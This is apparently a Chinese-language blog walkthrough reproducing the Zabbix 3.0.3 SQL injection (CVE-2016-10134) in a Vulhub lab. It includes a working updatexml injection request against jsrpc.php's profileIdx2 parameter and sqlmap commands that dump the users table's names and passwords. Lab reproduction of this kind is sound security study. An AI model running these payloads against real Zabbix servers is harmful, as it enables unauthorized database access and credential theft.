前几天有小伙伴叫我复现这个漏洞,说复现不出来,数据库读不到,很奇怪。所以趁我今天有这个时间,就来搞搞,顺便记记笔记。
提示:以下是本篇文章正文内容,下面案例可供参考
zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
在vulhub靶场进行复现,启动zabbix 3.0.3
。
进入zabbix目录,cd进入CVE-2016-10134目录,输入以下命令启动靶场:
docker-compose up -d
执行命令后,将启动数据库(mysql)、zabbix server、zabbix agent 、zabbix web。如果内存稍小,可能会存在某个容器挂掉的情况。
当所有服务全部显示done,才能成功访问:
启动完成后,稍等片刻,访问http://your-ip/8080,成功访问到zabbix界面。
zabbix的jsrpc.php页面存在sql漏洞,所以通过访问这个jsrpc.php页面来触发漏洞,漏洞参数是profileIdx2。发送如下请求包即可执行sql命令,获取数据库信息。
请求包信息如下:
GET /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: zbx_sessionid=7689b1e30e63d9726fa86010d3c6592c; PHPSESSID=3r69f0snsemtpmkeiocgg9blj2
Upgrade-Insecure-Requests: 1
成功执行了user()命令,并返回信息。
讲user()修改成database(),尝试获取数据库名字试试:
http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,database()),0)
懒的话也可以直接上工具sqlmap,跑一下什么都出来了,毫无体验:
sqlmap -u "http://192.168.25.130:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=1"
用户名密码也是直接搞定:
sqlmap -u "http://192.168.25.130:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=1" -D zabbix -T users -C name,passwd --dump
就是普通的一个注入复现,没有绕过,没有难度。
文章原创,欢迎转载,请注明文章出处: 【Vulhub靶场】zabbix-SQL注入(CVE-2016-10134)漏洞复现。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。